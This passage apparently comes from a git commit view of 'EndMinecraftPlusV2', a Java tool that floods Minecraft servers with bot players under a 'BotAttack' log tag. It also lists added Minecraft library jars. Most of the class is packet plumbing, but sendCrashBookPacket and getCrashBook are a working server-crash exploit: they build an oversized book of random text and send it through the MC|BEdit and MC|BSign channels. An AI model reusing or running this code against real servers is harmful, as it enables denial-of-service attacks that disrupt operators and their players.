|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerHealthPacket serverPlayerHealthPacket = (ServerPlayerHealthPacket) recvPacket;
|
||||
double health = serverPlayerHealthPacket.getHealth();
|
||||
if (health <= 0) {
|
||||
sendRespawnPacket(session);
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleOtherPacket(Object packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendChatPacket(Object client, String text) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ClientChatPacket chatPacket = new ClientChatPacket(text);
|
||||
session.send(chatPacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendTabCompletePacket(Object client, String cmd) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ClientTabCompletePacket clientTabCompletePacket = new ClientTabCompletePacket(cmd, true);
|
||||
session.send(clientTabCompletePacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
float yaw = packet.getYaw() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
float pitch = packet.getPitch() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
sendPositionRotationPacket(session, x, y, z, yaw, pitch);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendCrashBookPacket(Object client) {
|
||||
Session session = ((Client) client).getSession();
|
||||
|
||||
try {
|
||||
ItemStack crashBook = getCrashBook();
|
||||
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
StreamNetOutput out = new StreamNetOutput(buf);
|
||||
|
||||
out.writeShort(crashBook.getId());
|
||||
out.writeByte(crashBook.getAmount());
|
||||
out.writeShort(crashBook.getData());
|
||||
|
||||
NBTIO.writeTag(new DataOutputStream(buf), crashBook.getNBT());
|
||||
|
||||
byte[] crashData = buf.toByteArray();
|
||||
|
||||
sendClientPluginMessagePacket(session, "MC|BEdit", crashData);
|
||||
sendClientPluginMessagePacket(session, "MC|BSign", crashData);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getMessageFromPacket(Object packet) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) packet;
|
||||
return chatPacket.getMessage();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageClickEvent(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getStyle().getClickEvent() != null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getMessageText(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return getTextFromJson(msg.toJson());
|
||||
}
|
||||
|
||||
private static String getTextFromJson(JsonElement element) {
|
||||
StringBuilder textBuilder = new StringBuilder();
|
||||
if (element.isJsonObject()) {
|
||||
JsonObject obj = element.getAsJsonObject();
|
||||
|
||||
boolean hasTranslate = obj.has("translate");
|
||||
String translate = hasTranslate ? obj.get("translate").getAsString() : "";
|
||||
if (hasTranslate && !translate.contains("chat.type")) {
|
||||
return translate;
|
||||
}
|
||||
if (obj.has("text")) {
|
||||
textBuilder.append(obj.get("text").getAsString());
|
||||
}
|
||||
if (obj.has("extra")) {
|
||||
for (JsonElement extraElement : obj.getAsJsonArray("extra")) {
|
||||
textBuilder.append(getTextFromJson(extraElement));
|
||||
}
|
||||
}
|
||||
if (obj.has("with")) {
|
||||
// 记录 "with" 数组元素以便之后处理
|
||||
ArrayList<String> withElementsText = new ArrayList<>();
|
||||
for (JsonElement withElement : obj.getAsJsonArray("with")) {
|
||||
withElementsText.add(getTextFromJson(withElement));
|
||||
}
|
||||
// 对 "with" 数组的处理,添加适当的分隔符
|
||||
if (!withElementsText.isEmpty()) {
|
||||
// 添加第一个元素,并包围以方括号
|
||||
textBuilder.append("[").append(withElementsText.get(0)).append("]");
|
||||
// 如果有更多元素,这些应该跟随在后面,并用空格分隔
|
||||
for (int i = 1; i < withElementsText.size(); i++) {
|
||||
textBuilder.append(" ").append(withElementsText.get(i));
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if (element.isJsonArray()) {
|
||||
for (JsonElement arrElement : element.getAsJsonArray()) {
|
||||
textBuilder.append(getTextFromJson(arrElement));
|
||||
}
|
||||
}
|
||||
return textBuilder.toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleMessageExtra(cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler packetHandler, Object message, Object client, String username) {
|
||||
Message msg = (Message) message;
|
||||
for (Message extra : msg.getExtra()) {
|
||||
PacketManager.clickVerifiesHandle(packetHandler, client, extra, username);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClickValue(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getStyle().getClickEvent().getValue();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageExtra(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getExtra() != null && !msg.getExtra().isEmpty();
|
||||
}
|
||||
|
||||
private void sendClientPluginMessagePacket(Session session, String channel, byte[] data) {
|
||||
ClientPluginMessagePacket clientPluginMessagePacket = new ClientPluginMessagePacket(channel, data);
|
||||
session.send(clientPluginMessagePacket);
|
||||
}
|
||||
|
||||
private void sendClientSettingPacket(Session session, String locale) {
|
||||
ClientSettingsPacket clientSettingsPacket = new ClientSettingsPacket(locale, 8, ChatVisibility.FULL, true, SkinPart.values(), Hand.MAIN_HAND);
|
||||
session.send(clientSettingsPacket);
|
||||
}
|
||||
|
||||
private void sendClientChangeHeldItemPacket(Session session, int slot) {
|
||||
ClientPlayerChangeHeldItemPacket clientPlayerChangeHeldItemPacket = new ClientPlayerChangeHeldItemPacket(slot);
|
||||
session.send(clientPlayerChangeHeldItemPacket);
|
||||
}
|
||||
|
||||
private void sendPositionRotationPacket(Session session, double x, double y, double z, float yaw, float pitch) {
|
||||
ClientPlayerPositionRotationPacket clientPlayerPositionRotationPacket = new ClientPlayerPositionRotationPacket(true, x, y, z, yaw, pitch);
|
||||
session.send(clientPlayerPositionRotationPacket);
|
||||
}
|
||||
|
||||
private void sendClientPlayerMovementPacket(Session session, boolean onGround) {
|
||||
ClientPlayerMovementPacket clientPlayerMovementPacket = new ClientPlayerMovementPacket(onGround);
|
||||
session.send(clientPlayerMovementPacket);
|
||||
}
|
||||
|
||||
private void sendClientKeepAlivePacket(Session session, int pingId) {
|
||||
ClientKeepAlivePacket packet = new ClientKeepAlivePacket(pingId);
|
||||
session.send(packet);
|
||||
}
|
||||
|
||||
private void sendRespawnPacket(Session session) {
|
||||
ClientRequestPacket clientRequestPacket = new ClientRequestPacket(ClientRequest.RESPAWN);
|
||||
session.send(clientRequestPacket);
|
||||
}
|
||||
|
||||
public static ItemStack getCrashBook() {
|
||||
ItemStack crashBook;
|
||||
CompoundTag nbtTag = new CompoundTag("crashBook");
|
||||
List<Tag> pageList = new ArrayList<>();
|
||||
|
||||
// Plain Mode
|
||||
nbtTag.put(new StringTag("author", OtherUtils.getRandomString(20, 20)));
|
||||
nbtTag.put(new StringTag("title", OtherUtils.getRandomString(20, 20)));
|
||||
|
||||
for (int a = 0; a < 35; a++) {
|
||||
pageList.add(new StringTag("", OtherUtils.getRandomString(600, 600)));
|
||||
}
|
||||
|
||||
nbtTag.put(new ListTag("pages", pageList));
|
||||
crashBook = new ItemStack(386, 1, 0, nbtTag);
|
||||
|
||||
return crashBook;
|
||||
}
|
||||
}
|
BIN
libs/MC-1.10.jar
Normal file
BIN
libs/MC-1.10.jar
Normal file
Binary file not shown.
BIN
libs/MC-1.11.2.jar
Normal file
BIN
libs/MC-1.11.2.jar
Normal file
Binary file not shown.
BIN
libs/MC-1.12.1.jar
Normal file
BIN
libs/MC-1.12.1.jar
Normal file
Binary file not shown.
BIN
libs/MC-1.12.2.jar
Normal file
BIN
libs/MC-1.12.2.jar
Normal file
Binary file not shown.
BIN
libs/MC-1.12.jar
Normal file
BIN
libs/MC-1.12.jar
Normal file
Binary file not shown.
BIN
libs/MC-1.13.2.jar
Normal file
BIN
libs/MC-1.13.2.jar
Normal file
Binary file not shown.
BIN
libs/MC-1.13.jar
Normal file
BIN
libs/MC-1.13.jar
Normal file
Binary file not shown.
BIN
libs/MC-1.7.10.jar
Normal file
BIN
libs/MC-1.7.10.jar
Normal file
Binary file not shown.
BIN
libs/MC-1.7.2.jar
Normal file
BIN
libs/MC-1.7.2.jar
Normal file
Binary file not shown.
BIN
libs/MC-1.8.jar
Normal file
BIN
libs/MC-1.8.jar
Normal file
Binary file not shown.
BIN
libs/MC-1.9.jar
Normal file
BIN
libs/MC-1.9.jar
Normal file
Binary file not shown.
BIN
libs/MCP-1.14.4.jar
Normal file
BIN
libs/MCP-1.14.4.jar
Normal file
Binary file not shown.
BIN
libs/MCP-1.15.2.jar
Normal file
BIN
libs/MCP-1.15.2.jar
Normal file
Binary file not shown.
BIN
libs/MCP-1.16.4.jar
Normal file
BIN
libs/MCP-1.16.4.jar
Normal file
Binary file not shown.
BIN
libs/MCP-1.17.1.jar
Normal file
BIN
libs/MCP-1.17.1.jar
Normal file
Binary file not shown.
BIN
libs/MCP-1.18.2.jar
Normal file
BIN
libs/MCP-1.18.2.jar
Normal file
Binary file not shown.
BIN
libs/MCP-1.19.1.jar
Normal file
BIN
libs/MCP-1.19.1.jar
Normal file
Binary file not shown.
BIN
libs/MCP-1.19.2.jar
Normal file
BIN
libs/MCP-1.19.2.jar
Normal file
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user